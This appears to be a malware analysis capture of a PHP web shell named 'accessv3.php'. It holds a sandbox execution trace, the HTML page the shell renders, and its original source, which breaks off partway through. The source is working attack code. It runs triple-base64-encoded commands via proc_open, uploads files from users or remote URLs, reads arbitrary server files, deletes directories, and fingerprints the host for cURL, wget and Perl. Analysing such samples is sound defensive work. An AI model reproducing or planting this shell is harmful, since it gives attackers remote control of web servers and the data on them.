2	62	0	0.002894	501048	is_file	0		/var/www/html/uploads/accessv3.php	541	1	'/var/www/html/uploads/.htaccess'
2	62	1	0.002908	501088
2	62	R			TRUE
2	63	0	0.002921	501048	filesize	0		/var/www/html/uploads/accessv3.php	542	1	'/var/www/html/uploads/.htaccess'
2	63	1	0.002934	501088
2	63	R			64
1		A						/var/www/html/uploads/accessv3.php	542	$size = 0.0625
2	64	0	0.002958	500992	round	0		/var/www/html/uploads/accessv3.php	543	2	0.0625	3
2	64	1	0.002972	501064
2	64	R			0.063
1		A						/var/www/html/uploads/accessv3.php	543	$size = 0.063
1		A						/var/www/html/uploads/accessv3.php	547	$size = '0.063 KB'
2	65	0	0.003008	501088	cekfile	1		/var/www/html/uploads/accessv3.php	551	1	'/var/www/html/uploads/.htaccess'
2	65	1	0.003021	501088
2	65	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	66	0	0.003038	501344	filedate	1		/var/www/html/uploads/accessv3.php	553	1	'/var/www/html/uploads/.htaccess'
3	67	0	0.003054	501344	filemtime	0		/var/www/html/uploads/accessv3.php	260	1	'/var/www/html/uploads/.htaccess'
3	67	1	0.003067	501384
3	67	R			1676257016
3	68	0	0.003080	501344	date	0		/var/www/html/uploads/accessv3.php	260	2	'F d Y g:i:s'	1676257016
3	68	1	0.003115	501672
3	68	R			'February 12 2023 9:56:56'
2	66	1	0.003130	501600
2	66	R			'February 12 2023 9:56:56'
2	69	0	0.003178	501408	owner	1		/var/www/html/uploads/accessv3.php	554	1	'/var/www/html/uploads/.htaccess'
3	70	0	0.003192	501408	function_exists	0		/var/www/html/uploads/accessv3.php	216	1	'posix_getpwuid'
3	70	1	0.003205	501448
3	70	R			TRUE
3	71	0	0.003218	501408	fileowner	0		/var/www/html/uploads/accessv3.php	217	1	'/var/www/html/uploads/.htaccess'
3	71	1	0.003231	501448
3	71	R			0
3	72	0	0.003243	501408	posix_getpwuid	0		/var/www/html/uploads/accessv3.php	217	1	0
3	72	1	0.003267	502208
3	72	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/accessv3.php	217	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	69	1	0.003310	501456
2	69	R			'<center>root</center>'
2	73	0	0.003325	501088	is_writable	0		/var/www/html/uploads/accessv3.php	556	1	'/var/www/html/uploads/.htaccess'
2	73	1	0.003342	501128
2	73	R			FALSE
2	74	0	0.003355	501088	is_readable	0		/var/www/html/uploads/accessv3.php	557	1	'/var/www/html/uploads/.htaccess'
2	74	1	0.003370	501128
2	74	R			TRUE
2	75	0	0.003383	501088	statusnya	1		/var/www/html/uploads/accessv3.php	558	1	'/var/www/html/uploads/.htaccess'
3	76	0	0.003396	501088	fileperms	0		/var/www/html/uploads/accessv3.php	583	1	'/var/www/html/uploads/.htaccess'
3	76	1	0.003409	501128
3	76	R			33188
3	77	0	0.003421	501088	sprintf	0		/var/www/html/uploads/accessv3.php	583	2	'%o'	33188
3	77	1	0.003434	501472
3	77	R			'100644'
3	78	0	0.003447	501408	substr	0		/var/www/html/uploads/accessv3.php	583	2	'100644'	-4
3	78	1	0.003460	501504
3	78	R			'0644'
2		A						/var/www/html/uploads/accessv3.php	583	$izin = '0644'
2	75	1	0.003484	501120
2	75	R			'0644'
2	79	0	0.003497	501088	is_writable	0		/var/www/html/uploads/accessv3.php	559	1	'/var/www/html/uploads/.htaccess'
2	79	1	0.003512	501128
2	79	R			FALSE
2	80	0	0.003525	501088	is_readable	0		/var/www/html/uploads/accessv3.php	559	1	'/var/www/html/uploads/.htaccess'
2	80	1	0.003540	501128
2	80	R			TRUE
2	81	0	0.003554	501032	class_exists	0		/var/www/html/uploads/accessv3.php	568	1	'ZipArchive'
2	81	1	0.003568	501072
2	81	R			FALSE
2	82	0	0.003581	501096	is_file	0		/var/www/html/uploads/accessv3.php	541	1	'/var/www/html/uploads/accessv3.php'
2	82	1	0.003596	501144
2	82	R			TRUE
2	83	0	0.003609	501104	filesize	0		/var/www/html/uploads/accessv3.php	542	1	'/var/www/html/uploads/accessv3.php'
2	83	1	0.003622	501144
2	83	R			18764
1		A						/var/www/html/uploads/accessv3.php	542	$size = 18.32421875
2	84	0	0.003646	501000	round	0		/var/www/html/uploads/accessv3.php	543	2	18.32421875	3
2	84	1	0.003659	501072
2	84	R			18.324
1		A						/var/www/html/uploads/accessv3.php	543	$size = 18.324
1		A						/var/www/html/uploads/accessv3.php	547	$size = '18.324 KB'
2	85	0	0.003696	501104	cekfile	1		/var/www/html/uploads/accessv3.php	551	1	'/var/www/html/uploads/accessv3.php'
2	85	1	0.003709	501104
2	85	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	86	0	0.003726	501360	filedate	1		/var/www/html/uploads/accessv3.php	553	1	'/var/www/html/uploads/accessv3.php'
3	87	0	0.003738	501360	filemtime	0		/var/www/html/uploads/accessv3.php	260	1	'/var/www/html/uploads/accessv3.php'
3	87	1	0.003751	501400
3	87	R			1676257016
3	88	0	0.003764	501360	date	0		/var/www/html/uploads/accessv3.php	260	2	'F d Y g:i:s'	1676257016
3	88	1	0.003795	501688
3	88	R			'February 12 2023 9:56:56'
2	86	1	0.003810	501616
2	86	R			'February 12 2023 9:56:56'
2	89	0	0.003825	501424	owner	1		/var/www/html/uploads/accessv3.php	554	1	'/var/www/html/uploads/accessv3.php'
3	90	0	0.003838	501424	function_exists	0		/var/www/html/uploads/accessv3.php	216	1	'posix_getpwuid'
3	90	1	0.003851	501464
3	90	R			TRUE
3	91	0	0.003864	501424	fileowner	0		/var/www/html/uploads/accessv3.php	217	1	'/var/www/html/uploads/accessv3.php'
3	91	1	0.003877	501464
3	91	R			1000
3	92	0	0.003893	501424	posix_getpwuid	0		/var/www/html/uploads/accessv3.php	217	1	1000
3	92	1	0.003925	502240
3	92	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/accessv3.php	217	$tod = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2	89	1	0.003969	501480
2	89	R			'<center>osboxes</center>'
2	93	0	0.003984	501104	is_writable	0		/var/www/html/uploads/accessv3.php	556	1	'/var/www/html/uploads/accessv3.php'
2	93	1	0.004000	501144
2	93	R			FALSE
2	94	0	0.004014	501104	is_readable	0		/var/www/html/uploads/accessv3.php	557	1	'/var/www/html/uploads/accessv3.php'
2	94	1	0.004028	501144
2	94	R			TRUE
2	95	0	0.004042	501104	statusnya	1		/var/www/html/uploads/accessv3.php	558	1	'/var/www/html/uploads/accessv3.php'
3	96	0	0.004054	501104	fileperms	0		/var/www/html/uploads/accessv3.php	583	1	'/var/www/html/uploads/accessv3.php'
3	96	1	0.004067	501144
3	96	R			33204
3	97	0	0.004079	501104	sprintf	0		/var/www/html/uploads/accessv3.php	583	2	'%o'	33204
3	97	1	0.004093	501488
3	97	R			'100664'
3	98	0	0.004106	501424	substr	0		/var/www/html/uploads/accessv3.php	583	2	'100664'	-4
3	98	1	0.004119	501520
3	98	R			'0664'
2		A						/var/www/html/uploads/accessv3.php	583	$izin = '0664'
2	95	1	0.004142	501136
2	95	R			'0664'
2	99	0	0.004156	501104	is_writable	0		/var/www/html/uploads/accessv3.php	559	1	'/var/www/html/uploads/accessv3.php'
2	99	1	0.004170	501144
2	99	R			FALSE
2	100	0	0.004183	501104	is_readable	0		/var/www/html/uploads/accessv3.php	559	1	'/var/www/html/uploads/accessv3.php'
2	100	1	0.004198	501144
2	100	R			TRUE
2	101	0	0.004211	501040	class_exists	0		/var/www/html/uploads/accessv3.php	568	1	'ZipArchive'
2	101	1	0.004225	501080
2	101	R			FALSE
2	102	0	0.004338	501096	is_file	0		/var/www/html/uploads/accessv3.php	541	1	'/var/www/html/uploads/data'
2	102	1	0.004355	501128
2	102	R			FALSE
2	103	0	0.004369	501096	is_file	0		/var/www/html/uploads/accessv3.php	541	1	'/var/www/html/uploads/prepend.php'
2	103	1	0.004384	501144
2	103	R			TRUE
2	104	0	0.004397	501104	filesize	0		/var/www/html/uploads/accessv3.php	542	1	'/var/www/html/uploads/prepend.php'
2	104	1	0.004416	501144
2	104	R			57
1		A						/var/www/html/uploads/accessv3.php	542	$size = 0.0556640625
2	105	0	0.004441	501000	round	0		/var/www/html/uploads/accessv3.php	543	2	0.0556640625	3
2	105	1	0.004454	501072
2	105	R			0.056
1		A						/var/www/html/uploads/accessv3.php	543	$size = 0.056
1		A						/var/www/html/uploads/accessv3.php	547	$size = '0.056 KB'
2	106	0	0.004490	501104	cekfile	1		/var/www/html/uploads/accessv3.php	551	1	'/var/www/html/uploads/prepend.php'
2	106	1	0.004504	501104
2	106	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	107	0	0.004520	501360	filedate	1		/var/www/html/uploads/accessv3.php	553	1	'/var/www/html/uploads/prepend.php'
3	108	0	0.004533	501360	filemtime	0		/var/www/html/uploads/accessv3.php	260	1	'/var/www/html/uploads/prepend.php'
3	108	1	0.004547	501400
3	108	R			1676257016
3	109	0	0.004560	501360	date	0		/var/www/html/uploads/accessv3.php	260	2	'F d Y g:i:s'	1676257016
3	109	1	0.004591	501688
3	109	R			'February 12 2023 9:56:56'
2	107	1	0.004607	501616
2	107	R			'February 12 2023 9:56:56'
2	110	0	0.004622	501424	owner	1		/var/www/html/uploads/accessv3.php	554	1	'/var/www/html/uploads/prepend.php'
3	111	0	0.004635	501424	function_exists	0		/var/www/html/uploads/accessv3.php	216	1	'posix_getpwuid'
3	111	1	0.004648	501464
3	111	R			TRUE
3	112	0	0.004661	501424	fileowner	0		/var/www/html/uploads/accessv3.php	217	1	'/var/www/html/uploads/prepend.php'
3	112	1	0.004674	501464
3	112	R			0
3	113	0	0.004686	501424	posix_getpwuid	0		/var/www/html/uploads/accessv3.php	217	1	0
3	113	1	0.004710	502224
3	113	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/accessv3.php	217	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	110	1	0.004752	501472
2	110	R			'<center>root</center>'
2	114	0	0.004767	501104	is_writable	0		/var/www/html/uploads/accessv3.php	556	1	'/var/www/html/uploads/prepend.php'
2	114	1	0.004784	501144
2	114	R			FALSE
2	115	0	0.004797	501104	is_readable	0		/var/www/html/uploads/accessv3.php	557	1	'/var/www/html/uploads/prepend.php'
2	115	1	0.004817	501144
2	115	R			TRUE
2	116	0	0.004830	501104	statusnya	1		/var/www/html/uploads/accessv3.php	558	1	'/var/www/html/uploads/prepend.php'
3	117	0	0.004843	501104	fileperms	0		/var/www/html/uploads/accessv3.php	583	1	'/var/www/html/uploads/prepend.php'
3	117	1	0.004857	501144
3	117	R			33261
3	118	0	0.004869	501104	sprintf	0		/var/www/html/uploads/accessv3.php	583	2	'%o'	33261
3	118	1	0.004883	501488
3	118	R			'100755'
3	119	0	0.004896	501424	substr	0		/var/www/html/uploads/accessv3.php	583	2	'100755'	-4
3	119	1	0.004909	501520
3	119	R			'0755'
2		A						/var/www/html/uploads/accessv3.php	583	$izin = '0755'
2	116	1	0.004933	501136
2	116	R			'0755'
2	120	0	0.004946	501104	is_writable	0		/var/www/html/uploads/accessv3.php	559	1	'/var/www/html/uploads/prepend.php'
2	120	1	0.004962	501144
2	120	R			FALSE
2	121	0	0.004975	501104	is_readable	0		/var/www/html/uploads/accessv3.php	559	1	'/var/www/html/uploads/prepend.php'
2	121	1	0.004990	501144
2	121	R			TRUE
2	122	0	0.005003	501040	class_exists	0		/var/www/html/uploads/accessv3.php	568	1	'ZipArchive'
2	122	1	0.005016	501080
2	122	R			FALSE
2	123	0	0.005030	501040	author	1		/var/www/html/uploads/accessv3.php	580	0
			0.005061	419640
TRACE END   [2023-02-13 00:57:22.145678]

Generated HTML code
<html><head>
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5"></font></center>	
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>
Server IP : <font color="gold">::1</font> &nbsp;/&nbsp; Your IP : <font color="gold">::1</font><br>Web Server : <font color="gold">Apache/2.4.52 (Ubuntu)</font><br>System : <font color="gold">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font><br>User : <font color="gold">osboxes&nbsp;</font>( <font color="gold">1000</font>)<br>PHP Version : <font color="gold">7.2.34-37+ubuntu22.04.1+deb.sury.org+1</font><br>Disable Function : <font color="red">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font><br>MySQL : <font color="red">OFF</font> &nbsp;|&nbsp; cURL : <font color="green">ON</font> &nbsp;|&nbsp; WGET : <font color="green">ON</font> &nbsp;|&nbsp; Perl : <font color="green">ON</font> &nbsp;|&nbsp; Python : <font color="red">OFF</font><br>Directory (<font color="green">0777</font>) : &nbsp;<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td></td></tr></tbody></table><br><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tbody><tr><th>[ &nbsp;<a href="/accessv3.php">Home</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;komend=gaskan">C0mmand</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;upload=gaskan">Upload File</a>&nbsp; ]</th></tr></tbody></table><br><div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Last Modified</center></td>
<td><center>Owner</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr><tr>
    <td><i class="fa fa-folder" style="color: #ffe9a2"></i> <a href="?path=/var/www/html/..">..</a></td>
    <td><center>--</center></td>
    <td><center>February 12 2023 9:56:49</center></td>
    <td><center>root</center></td>
    <td><center><font color="green">0777</font></center></td>
    <td><center><form method="POST" action="?pilihan&amp;path=/var/www/html">
    <select name="pilih">
    <option value=""></option>
    <option value="hapus">Delete</option>
    <option value="gantinama">Rename</option>
    </select>
    <input type="hidden" name="type" value="dir">
    <input type="hidden" name="name" value="..">
    <input type="hidden" name="path" value="/var/www/html/..">
    <input type="submit" class="gas" value=">">
    </form></center></td>
    </tr><tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr>
<td><i class="fa fa-file" style="color: #d6d4ce"></i> <a href="?fileloc=/var/www/html/accessv3.php&amp;path=/var/www/html">accessv3.php</a></td>
<td><center>18.324 KB</center></td>
<td><center>February 12 2023 9:56:49</center></td>
<td><center>osboxes</center></td>
<td><center>0664</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="dunlut">Download</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option></select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="accessv3.php">
<input type="hidden" name="path" value="/var/www/html/accessv3.php">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr><tr>
<td><i class="fa fa-file" style="color: #d6d4ce"></i> <a href="?fileloc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>February 12 2023 9:56:49</center></td>
<td><center>root</center></td>
<td><center>0644</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="dunlut">Download</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option></select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr></tbody></table><center><br></center></div></body></html>
Original PHP code


<!DOCTYPE html>
<html>
<head>
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5"></font></center>	
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php
set_time_limit(0);
error_reporting(0);

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
    echo "<center><br></center>";
    exit();
}

function cekdir() {
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}

function cekroot() {
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir.'/'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}

function dunlut($file) {
    if (!is_readable($file)) {
        red("Cannot Download File / Unreadable File !");
        die();
    }
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush();
    readfile($file);
    die();
}

function owner($file) {
    if (function_exists("posix_getpwuid")) {
        $tod = @posix_getpwuid(fileowner($file));
        return "<center>".$tod['name']."</center>";
    } else {
        return "<center>".fileowner($file)."</center>";
    }
}

function cekwrite($lokasi) {
    $izin = substr(sprintf('%o', fileperms($lokasi)), -4);
    if (is_writable($lokasi)) {
        return "<font color=green>".$izin."</font>";
    } else {
        return "<font color=red>".$izin."</font>";
    }
}

function ekse($komend, $lokasi) {
    if (!function_exists("proc_open")) {
        die("proc_open function disabled !");
    } elseif (!function_exists("base64_decode")) {
        die("base64_decode function disabled !");
    }
    $komen = base64_decode(base64_decode(base64_decode($komend)));
    $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
    echo "<textarea rows='25' cols='100'>".htmlspecialchars(stream_get_contents($pipes[1]))."</textarea><br><br>";
}

function ipserv() {
    if (empty($_SERVER['SERVER_ADDR'])) {
        return gethostbyname($_SERVER['SERVER_NAME']);
        if (empty(gethostbyname($_SERVER['SERVER_NAME']))) {
            return $_SERVER['SERVER_NAME'];
        }
    } else {
        return $_SERVER['SERVER_ADDR'];
    }
}

function cekfile($file) {
     return '<i class="fa fa-file" style="color: #d6d4ce"></i> ';
}

function filedate($file) {
    return date("F d Y g:i:s", filemtime($file));
}

function unzip($file, $lokasi) {
    if (!is_readable($file)) {
        red("Cannot Unzip File / Unreadable File !");
        die();
    } elseif (strpos(file_get_contents($file), "\x50\x4b\x03\x04") === false) {
        red("This isn't Zip File !");
        die();
    }
    $zip = new ZipArchive;
    $res = $zip -> open($file);
    if ($res == true) {
        $zip -> extractTo($lokasi);
        $zip -> close();
        green("Success Unzip File !");
    } else {
        red("Failed to Unzip File !");
    }
}

function green($text) {
    echo "<center><font color='green'>".$text."</center></font>";
}

function red($text) {
    echo "<center><font color='red'>".$text."</center></font>";
}

echo "Server IP : <font color=gold>".ipserv()."</font> &nbsp;/&nbsp; Your IP : <font color=gold>".$_SERVER['REMOTE_ADDR']."</font><br>";
echo "Web Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
echo "System : <font color='gold'>".php_uname()."</font><br>";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)<br>";
echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "MySQL : ";
if (function_exists("mysql_connect")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}

foreach($_POST as $key => $value){
    $_POST[$key] = stripslashes($value);
}

if(isset($_GET['path'])){
    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

echo "<br>Directory (".cekwrite($lokasi).") : &nbsp;";

foreach($lokasis as $id => $lok){
    if($lok == '' && $id == 0){
        $a = true;
        echo '<a href="?path=/">/</a>';
        continue;
    }
    if($lok == '') continue;
    echo '<a href="?path=';
    for($i=0;$i<=$id;$i++){
    echo "$lokasis[$i]";
    if($i != $id) echo "/";
} 
echo '">'.$lok.'</a>/';
}

echo '</td></tr><tr><td>';
if (isset($_POST['upwkwk'])) {
    if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
    if (isset($_POST['berkasnya'])) {
        $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi."/".$_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['bepas'])) {
        $bepasdata = $_POST['bepasdata'];
        $bepasnama = $_POST['bepasnama'];
        if ($bepasdata) {
            echo "string";
        }
        @file_put_contents($lokasi."/".$bepasnama, $bepasdata);
        if (file_exists($lokasi."/".$bepasnama)) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$bepasnama."</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}

echo "</table><br>";
echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">';
echo '<th>[ &nbsp;<a href="'.$_SERVER['SCRIPT_NAME'].'">Home</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&upload=gaskan">Upload File</a>&nbsp; ]</th>';
echo "</table><br>";

if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : ".$_GET['fileloc'];
    echo '</tr></td></table><br/>';
    echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File <i>".basename($_POST['path'])."</i> Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
